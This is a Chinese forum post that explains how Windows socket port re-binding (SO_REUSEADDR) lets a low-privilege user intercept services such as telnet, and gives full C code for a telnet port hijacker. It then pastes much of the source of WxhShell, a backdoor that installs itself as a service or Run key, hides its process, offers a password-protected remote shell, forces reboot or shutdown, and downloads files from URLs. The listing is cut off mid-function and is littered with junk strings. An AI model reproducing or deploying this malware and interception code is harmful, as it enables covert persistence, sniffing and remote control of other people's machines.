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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c]k+ Sx&}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //r)dN^  
=`(W^&|  
  saddr.sin_family = AF_INET; _Hx'<%hhI  
\goiW;b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8.wtv5eZ  
s4f{ziLp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '"Uhw$#t  
LrdED[Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3e-E/6zH6  
.*"KCQGOgM  
  这意味着什么?意味着可以进行如下的攻击:  Uv<nJM  
7nxH>.,Q>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yfqe6-8U  
^XYK }J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZjY?T)WE9  
keQRS+9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /Trbr]lWy  
b ~]v'|5[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XCxxm3t  
!H)!b#_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8ZjRMr}  
-#4QY70H t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "Il) _Ui  
]M"U 'Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /Wl8Jf7'  
dqgr98  
  #include )Xt#coagS  
  #include Xyz/CZPi  
  #include H<nA*Zf2@R  
  #include    Ed-3-vJej6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QAl4w)F  
  int main() 2"}Vfy  
  { 211T}a  
  WORD wVersionRequested; (6 }7z+  
  DWORD ret; F_/ra?WVH  
  WSADATA wsaData; m9 c`"!  
  BOOL val; ;/ |tU o$  
  SOCKADDR_IN saddr; y^Q);siSy  
  SOCKADDR_IN scaddr; ^,f^YL;  
  int err; "8a ?K Q  
  SOCKET s; oRg ,oy  
  SOCKET sc; i>-#QKqJ  
  int caddsize; 1@TL>jq  
  HANDLE mt; ,@M<O!%Cs  
  DWORD tid;   p*1 B *R  
  wVersionRequested = MAKEWORD( 2, 2 ); rY@9nQ\>g  
  err = WSAStartup( wVersionRequested, &wsaData ); QaA?UzB  
  if ( err != 0 ) { =jxy4`oF  
  printf("error!WSAStartup failed!\n"); &?xtmg<d  
  return -1; Q TN24 q4  
  } ?Ycl!0m  
  saddr.sin_family = AF_INET; OP=-fX|*Q  
   &U([Wd?E2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oe<@mz/  
JIYzk]Tj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2r+nr  
  saddr.sin_port = htons(23); f|/ ,eP$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i]@k'2N  
  { .SSyW{a3w  
  printf("error!socket failed!\n"); sint":1FC  
  return -1; /3sX>Rj  
  } eQ6wEeB9  
  val = TRUE; Nm-E4N#'i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -Oz! GX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %uiCC>cC  
  { utn,`v   
  printf("error!setsockopt failed!\n"); d6??OO=~>M  
  return -1; zYWVz3l  
  } }5 $le]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,K30.E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  b=Ektq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pu ?CO A  
_~P &8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )"2eN3H/  
  { &h7 n>q  
  ret=GetLastError(); ip*^eS^  
  printf("error!bind failed!\n"); *&+zI$u(  
  return -1; ^'+#BPo9@  
  } %t74*cX  
  listen(s,2); ^4Se=Hr z2  
  while(1) F/:%YR;  
  { Y$./!lVY  
  caddsize = sizeof(scaddr); gnb+i`  
  //接受连接请求 _t4(H))]vG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  R; &k/v  
  if(sc!=INVALID_SOCKET) CEzdH!nP  
  { '[_.mx|cd`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NH=@[t) P,  
  if(mt==NULL) f%[xl6VE;  
  { 2$o\`^dy  
  printf("Thread Creat Failed!\n"); ]xJ. OUJy  
  break; {aK3'-7  
  } R 4DfqX  
  } Tn\{*A  
  CloseHandle(mt); ol {N^fi K  
  } N{M25ucAHl  
  closesocket(s); &Rz-;66bN  
  WSACleanup(); A4KkX  
  return 0; SFFJyRCz  
  }   oBo |eRIt|  
  DWORD WINAPI ClientThread(LPVOID lpParam) s8' ;4z  
  { :vaVghN\  
  SOCKET ss = (SOCKET)lpParam; yi (IIW  
  SOCKET sc; XCXX(8To0=  
  unsigned char buf[4096]; ^L.'At  
  SOCKADDR_IN saddr; $ma@z0%8}  
  long num; /paZJ}Pr.  
  DWORD val; (FGH t/!  
  DWORD ret; 'coY`B; 8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 giesof  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t"MrrK>T  
  saddr.sin_family = AF_INET; [O]rf+NZ(5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {*  w _*  
  saddr.sin_port = htons(23); q{f (T\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?papk4w  
  { <R%TCVwC@  
  printf("error!socket failed!\n"); |~rKDc  
  return -1; 3Lv5>[MnN  
  } ^^a%Lz)U  
  val = 100; .}(X19R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )YwLj&e4tf  
  { Ya!PV&"Z  
  ret = GetLastError(); 9}a&:QTHR  
  return -1; G%K&f1q%  
  } ,<s:* k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wZKmU  
  { 4.~<|T8  
  ret = GetLastError(); M<Dvhy[  
  return -1; qT#NS&T!-  
  } Ip *8R]W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3l$D%y  
  { nXjSf  
  printf("error!socket connect failed!\n"); Ies` !W^  
  closesocket(sc); :" JEC'  
  closesocket(ss); "QBl "<<s  
  return -1; $)6M@S  
  } 7E5 =Qx  
  while(1) <vxTfE@>bp  
  { WKwYSbs(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (io[O?te  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H%i [;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {Wfwf  
  num = recv(ss,buf,4096,0); "}oo`+]Cq  
  if(num>0) P=s3&NDD  
  send(sc,buf,num,0); /1Ss |.  
  else if(num==0) lfr^NxOU  
  break; t{`krs``  
  num = recv(sc,buf,4096,0); z>'vS+axV  
  if(num>0) 0+.<BOcW5  
  send(ss,buf,num,0); |A+,M"F?  
  else if(num==0) IfY?P(P  
  break; 5s>>] .%  
  } _p^Wc.[~M  
  closesocket(ss); +Z]}ce u"  
  closesocket(sc); Zvra >%  
  return 0 ; `91Z]zGpU  
  } /wkrfYRs  
b+L!p.:  
a^Q ?K\c4N  
========================================================== b tbuE  
#CW{y?=  
下边附上一个代码,,WXhSHELL :u)Qs#'29  
V0%a/Hi v  
========================================================== vZ^U]h V  
(Bv~6tj~J  
#include "stdafx.h" bXqTc2>=  
['3E'q,4&  
#include <stdio.h> `\/\C[Gg  
#include <string.h> Lg7dJnf  
#include <windows.h> lAGntYv  
#include <winsock2.h> 05 .EI)7  
#include <winsvc.h> j9-.bGtm?.  
#include <urlmon.h> 7loWqZ  
7g%\+%F I  
#pragma comment (lib, "Ws2_32.lib") z.OJ1vY7  
#pragma comment (lib, "urlmon.lib") 8m#y>`  
{s6hi#R>  
#define MAX_USER   100 // 最大客户端连接数 7f<@+&  
#define BUF_SOCK   200 // sock buffer Ylgr]?Db*  
#define KEY_BUFF   255 // 输入 buffer ]LMtZUz  
HYZp= *eb  
#define REBOOT     0   // 重启 @4Q /J$  
#define SHUTDOWN   1   // 关机 VJ1rU mO~  
$bN_0s0:'  
#define DEF_PORT   5000 // 监听端口 xU(b:D Z  
?u0qYep:  
#define REG_LEN     16   // 注册表键长度 5,\|XQA5!  
#define SVC_LEN     80   // NT服务名长度 =c%gV]>G  
def\=WyK  
// 从dll定义API ~ NO7@m uw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2tQ?=V(Di  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p4 $4;)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pIKfTkSqH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8~O0P=  
=4OV }z=I  
// wxhshell配置信息 \3hFb,/4k  
struct WSCFG { tJm1Q#||  
  int ws_port;         // 监听端口 $J0o%9K   
  char ws_passstr[REG_LEN]; // 口令 X+ /^s)  
  int ws_autoins;       // 安装标记, 1=yes 0=no .\3gb6S}  
  char ws_regname[REG_LEN]; // 注册表键名 `trcYmR=k  
  char ws_svcname[REG_LEN]; // 服务名 Q<yvpT(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e488}h6#m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v"<M ~9T)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]H<}6}Gd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v|@EuN14<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [}}q/7Lp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *o<|^,R  
is^5TL%@  
}; N37CAbw0  
AdzdYZiM_  
// default Wxhshell configuration &<cP{aBa  
struct WSCFG wscfg={DEF_PORT, z9v70 q  
    "xuhuanlingzhe", 1k{H,p7  
    1, }{[JS=A^  
    "Wxhshell", b27t-p8  
    "Wxhshell", +6L.a3&(b  
            "WxhShell Service", }^*`&Lh  
    "Wrsky Windows CmdShell Service", gm1RQ^n,@.  
    "Please Input Your Password: ", sXY{g0%  
  1, hb>uHUb&  
  "http://www.wrsky.com/wxhshell.exe", 8< J3Xe  
  "Wxhshell.exe" w,X J8+B  
    }; om6`>I*  
!P6?nS  
// 消息定义模块 zXx A"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ix0#eoj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EH'eyC-B<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rAD4}A_w  
char *msg_ws_ext="\n\rExit."; QHtN_Q_F  
char *msg_ws_end="\n\rQuit."; VS65SxHA  
char *msg_ws_boot="\n\rReboot...";  vF'IK,  
char *msg_ws_poff="\n\rShutdown..."; hK3Twzte  
char *msg_ws_down="\n\rSave to "; WY26Iq@C  
9MbF:  
char *msg_ws_err="\n\rErr!"; 8A 'SMJi  
char *msg_ws_ok="\n\rOK!"; zY].ZS=7  
SXV2Y-  
char ExeFile[MAX_PATH]; J?jxD/9Yb  
int nUser = 0; IcNZUZGE  
HANDLE handles[MAX_USER]; cq/@ng*o  
int OsIsNt; VuH }@  
Ia:M+20n  
SERVICE_STATUS       serviceStatus; -@~4:o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "M,Hm!j  
Ctk1\quz  
// 函数声明 5{-54mwo  
int Install(void); tnq Zl S  
int Uninstall(void); qporH]J-E  
int DownloadFile(char *sURL, SOCKET wsh); 4OG 1_6K  
int Boot(int flag); \^lDd~MWG  
void HideProc(void); G420o}q  
int GetOsVer(void); V)I Tk \  
int Wxhshell(SOCKET wsl); |w>d]eA5  
void TalkWithClient(void *cs); a24(9(yh  
int CmdShell(SOCKET sock); Seq ^o=  
int StartFromService(void); mw83pU6  
int StartWxhshell(LPSTR lpCmdLine); xzf/W+.>.  
? O9|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]Bz.6OR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #z c$cr  
Krr51` hZH  
// 数据结构和表定义 O44Fj)  
SERVICE_TABLE_ENTRY DispatchTable[] = )0=H)k0  
{ QjTs$#eMW  
{wscfg.ws_svcname, NTServiceMain}, f2ck=3  
{NULL, NULL} l_ LH!Tu  
}; Y*S(uqM  
+t(Gt0+  
// 自我安装 $-39O3  
int Install(void) pO2XQYhrY  
{ W Qe Q`pM  
  char svExeFile[MAX_PATH]; DyRU$U  
  HKEY key; %KR2Vlh0  
  strcpy(svExeFile,ExeFile); gi8f)MNP?~  
\{o<-S;h  
// 如果是win9x系统,修改注册表设为自启动 )%hW3w  
if(!OsIsNt) { yz%o?%@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = @ 1{LF;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | 8akp  
  RegCloseKey(key); &E-q(3-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 35fj-J$8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y!~ }7=  
  RegCloseKey(key); D#d/?\2  
  return 0; QPB ^%8  
    } O 2+taB  
  } k%;oc$0G-3  
} yY"n:&T(  
else { c(s: f@ 1  
N \woFrG  
// 如果是NT以上系统,安装为系统服务 .Z@iz5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); } ;d=  
if (schSCManager!=0) c']m5q39'  
{ dfXBgsc6i  
  SC_HANDLE schService = CreateService $]J<^{v  
  ( sLc,Dx"+  
  schSCManager, p,3}A( >  
  wscfg.ws_svcname, O*>`md?MH  
  wscfg.ws_svcdisp, Dt'bbX'edw  
  SERVICE_ALL_ACCESS, ah#jvp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k: z)Sw  
  SERVICE_AUTO_START, 7H?lR~w  
  SERVICE_ERROR_NORMAL, <_SdW 5BF<  
  svExeFile, .cr<.Ov  
  NULL, e[db?f2!  
  NULL,  4Gj  
  NULL, SgQ(#y|vV  
  NULL, &_'3(xIO  
  NULL V%voe  
  ); =Nr?F '<  
  if (schService!=0) X#ud_+6x  
  { NZ% v{?  
  CloseServiceHandle(schService); ?2K~']\S  
  CloseServiceHandle(schSCManager); b.cBg.a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |W5lhx0U  
  strcat(svExeFile,wscfg.ws_svcname); 5e^z]j1Yv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5dL!e<<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hcR^?  
  RegCloseKey(key); ?v&2^d4C*F  
  return 0; )Dyyb1\)  
    } 88l{M[B2  
  } +^[SXI^JaJ  
  CloseServiceHandle(schSCManager); Rpxg 5  
} tQ)l4Y 8  
} =h/61Bl3  
zT'(I6 S:)  
return 1; D 75;Y;E  
} zRB LkrC  
Wli!s~c5Fo  
// 自我卸载 5IbCE.>iU  
int Uninstall(void) <,J O  
{ u|(Iu}sE=  
  HKEY key; )00jRuF  
2>m"CG  
if(!OsIsNt) { SU(J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &H2j3De  
  RegDeleteValue(key,wscfg.ws_regname); )#,a'~w  
  RegCloseKey(key); Zk5AZ R!|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pxgal4{6  
  RegDeleteValue(key,wscfg.ws_regname); 0SJ(Ln`0K  
  RegCloseKey(key); i1!Y {  
  return 0; kE1k@h#/  
  } H^g&e$d0  
} .GvZv>  
} Kj:'Ei7  
else { \<\147&)r  
#_zj5B38E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8x9;3{R   
if (schSCManager!=0) r(g2&}o\  
{ ^O**ZndB/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^ j<2s"S  
  if (schService!=0) \4uj!LgTb  
  { u89Q2\z~"M  
  if(DeleteService(schService)!=0) { `-5gsJ  
  CloseServiceHandle(schService); aQV?}  
  CloseServiceHandle(schSCManager); gKRlXVS  
  return 0; S~GS:E#  
  } Nb\B*=4AR  
  CloseServiceHandle(schService); ,N8SP 'R  
  } ,?!MVN-  
  CloseServiceHandle(schSCManager); rC6EgWt<V  
} cZAf?,>u  
} \_/dfmlIZ  
#W/ATsDt  
return 1; ZJHaY09N  
} 2=X.$&a  
'Kd-A:K2g  
// 从指定url下载文件 !Za yN  
int DownloadFile(char *sURL, SOCKET wsh) H~W=#Cx  
{ D*ZswHT{y  
  HRESULT hr; KqXPxp^_Al  
char seps[]= "/"; 8 LsJ}c  
char *token; 3/8<dc  
char *file; FMC]KXSd  
char myURL[MAX_PATH]; =@MJEo`D  
char myFILE[MAX_PATH]; `|4k>5k  
2FEi-m}  
strcpy(myURL,sURL); iO}KERfU  
  token=strtok(myURL,seps); Kae-Y  
  while(token!=NULL) ]i8t  
  { )&ucX  
    file=token; E*QLw* H  
  token=strtok(NULL,seps); S4 s#EDs  
  } Eopb##o  
lDZ~  
GetCurrentDirectory(MAX_PATH,myFILE); !'>,37()  
strcat(myFILE, "\\"); FPu$Nd&\  
strcat(myFILE, file); 1?,C d  
  send(wsh,myFILE,strlen(myFILE),0); '-P+|bZW4  
send(wsh,"...",3,0); d5n>2iO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); STz@^A  
  if(hr==S_OK) DDZnNSo<JQ  
return 0; &a'LOq+r'  
else ]6,D 9^{;  
return 1; @%r "7%tq>  
mcxD#+H 3  
} ]2MX7  
f0*_& rP  
// 系统电源模块 xxOhGA)  
int Boot(int flag) =tl~@~pqI  
{ p Moza8  
  HANDLE hToken;  I^G6aw  
  TOKEN_PRIVILEGES tkp; FhQb9\g  
4K,S5^`Gx  
  if(OsIsNt) { \+k~p:d_8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T NF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q&^H" fF  
    tkp.PrivilegeCount = 1; Yh{5O3(;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kA9k^uR/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ulfs Z:  
if(flag==REBOOT) { D H:9iX'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cvYKZB  
  return 0; n D}<zj$D2  
} t|*UlTLm  
else { 3A\Z ]L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mB%m<Zo\U  
  return 0; GK#D R/OM  
} l`a_0  
  } (R(NEN  
  else { V6'k\5|_  
if(flag==REBOOT) { L+0:'p=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,_K:DSiB  
  return 0; /f hS#+V*  
} & d* bQv$  
else { O mph(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W9{y1,G9  
  return 0; c*R18,5-  
} 8yM8O #S  
} 1[\I9dv2  
qBZ;S3  
return 1; ^BP4l_rO9  
} %cASk>^i  
PmT<S,}L  
// win9x进程隐藏模块 ){w!< Lb  
void HideProc(void) 1U ='"  
{  1 K]  
etk|%%J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M`xI N~  
  if ( hKernel != NULL ) +y][s{A  
  { 8DFq eY0S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,/[1hhP@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uh^j;s\y  
    FreeLibrary(hKernel); jI$7vmO  
  } xFyBF[c  
=UxKa`  
return; ~!_UDD  
} WrR8TYq9D]  
7 *4i0{]  
// 获取操作系统版本 Htep3Ol3  
int GetOsVer(void) 51'V[tI;8  
{ |xpOU*k  
  OSVERSIONINFO winfo; z0T6a15f!P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '(8} <(%  
  GetVersionEx(&winfo); pWKI^S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,fj~BkW{  
  return 1; =HMuAUa.  
  else .G|U#%"6x  
  return 0; ,|w,  
} %}{.U  
)F6p+i="  
// 客户端句柄模块 VGOdJ|2]Wr  
int Wxhshell(SOCKET wsl) XL(2Qk  
{ UBx0Z0Y  
  SOCKET wsh; `Vh&XH\S  
  struct sockaddr_in client; v&`n}lS  
  DWORD myID; 2-:`lrVd  
07Oagq(  
  while(nUser<MAX_USER) H#QPcp@  
{ MA v-#  
  int nSize=sizeof(client); T"E%;'(cp)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?q"9ZYX<  
  if(wsh==INVALID_SOCKET) return 1; EtDzmpJR>  
&>XSQB(&%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5NMju!/  
if(handles[nUser]==0) p0HcuB)Y  
  closesocket(wsh); Q>\9/DjUp  
else Q5;EQ .#  
  nUser++; !XY}\zKq  
  } >  !WFY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ft8ii|-  
(@xr/9:i  
  return 0; 2X=*;r"{J  
} wr2F]1bh@  
Gdlx0i  
// 关闭 socket %UCuI9  
void CloseIt(SOCKET wsh) =`wnng5m  
{ qox@_  
closesocket(wsh); E\~!E20^  
nUser--; TzsNhrU{  
ExitThread(0); o]0\Km  
} -)E6{  
:UDe\zcd "  
// 客户端请求句柄 7XiR)jYo*  
void TalkWithClient(void *cs) (M,*R v  
{ Fpntd IU  
~)!vhdBe  
  SOCKET wsh=(SOCKET)cs; m H&WoL<K  
  char pwd[SVC_LEN]; t8S,C4  
  char cmd[KEY_BUFF]; Ga $EM  
char chr[1]; q6V\n:hKV  
int i,j; W sDFui  
Y_M3-H=0  
  while (nUser < MAX_USER) { 3?yq*uE}  
= p$:vW  
if(wscfg.ws_passstr) { EN~ha:9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _,E! <  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H,U qU3b3  
  //ZeroMemory(pwd,KEY_BUFF); sTF Ru  
      i=0; )Jd{WC.  
  while(i<SVC_LEN) { m#t  
(J\Qo9Il  
  // 设置超时 3AarRQWsn  
  fd_set FdRead; +FtL_7[v  
  struct timeval TimeOut; R>`TV(W`9  
  FD_ZERO(&FdRead); +L<x0-&  
  FD_SET(wsh,&FdRead); FLOSdMYdw  
  TimeOut.tv_sec=8; x-ZCaa}O  
  TimeOut.tv_usec=0; c!>",rce  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7Dwf0Re`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jxA*Gg3cT5  
c^BeT;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X5Ff2@."y|  
  pwd=chr[0]; ^[-3qi  
  if(chr[0]==0xd || chr[0]==0xa) { \d"M&-O  
  pwd=0; [}=/?(5  
  break; rTLo6wI  
  } i sV9nWo$  
  i++; 1M/_:UH`  
    } -S *MQA4  
@P}!mdH1  
  // 如果是非法用户,关闭 socket *heX[D &>)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [[9XqD]  
} p+d?k"WN?  
eXZH#K7S#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $sR-J'EE!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fW.)!EPO  
.#$D\cwV  
while(1) { >6zXr.  
~V<62"G  
  ZeroMemory(cmd,KEY_BUFF); Ww$ ?X LF  
E0Jk=cq  
      // 自动支持客户端 telnet标准   ITu5Y"x  
  j=0; N8w@8|KM  
  while(j<KEY_BUFF) { aw8q}:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >@NGX-gp  
  cmd[j]=chr[0]; 4w-P%-4  
  if(chr[0]==0xa || chr[0]==0xd) { 8st~ O  
  cmd[j]=0; o{wXq)b  
  break; iH""dtO  
  } @G;\gJT*  
  j++; 2Sg,b8  
    } j9Y'HU5"  
WGrG#Kw[  
  // 下载文件 X6g{qzHg_  
  if(strstr(cmd,"http://")) { lGAKHCs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ' ;PHuMY#X  
  if(DownloadFile(cmd,wsh)) |&]04  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UjI -<|  
  else EZvf\s>LT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8~")9w  
  } #b?)fqRJL  
  else { 2gnmk TyF  
hB)TH'R{:  
    switch(cmd[0]) { XLNR%)l  
  M;Dk$B{;R  
  // 帮助 8 k%!1dyMB  
  case '?': { h (1 }g/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8S_v} NUm  
    break; Hkck=@>8H*  
  } f^63<gqY  
  // 安装 8QYM/yAM  
  case 'i': { ] oh.w  
    if(Install()) V!94I2%#x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z-D4~?Tv  
    else R%Y#vUmBV{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w0FkKJV  
    break; uqg#(ADy?R  
    } f\~OG#AaX  
  // 卸载 e:&(y){n(  
  case 'r': { IfdgMELk  
    if(Uninstall()) )ZA3m _w]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,`ZIW  
    else `Ko6;s#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bco_\cpt]z  
    break; L,B#%t  
    } I2$.o0=3Y  
  // 显示 wxhshell 所在路径 n 7Bua  
  case 'p': { U%~L){<V[  
    char svExeFile[MAX_PATH]; 9<ev]XaSl  
    strcpy(svExeFile,"\n\r"); PafsO,i-  
      strcat(svExeFile,ExeFile); !h "6h  
        send(wsh,svExeFile,strlen(svExeFile),0); vQ/&iAyut  
    break; m:1f7Z>  
    } ;P{HePs=)  
  // 重启 G/*0*&fW  
  case 'b': { smM*HDK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +Xg]@IS-eg  
    if(Boot(REBOOT)) _k,/t10  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$GDKK  
    else { Y0||>LX  
    closesocket(wsh); N!fTt,  
    ExitThread(0); QQ5G?E  
    } ;&N;6V"}  
    break; <3;Sq~^  
    } '7!b#if  
  // 关机 ]y:ez8RFPU  
  case 'd': { ~9OART='  
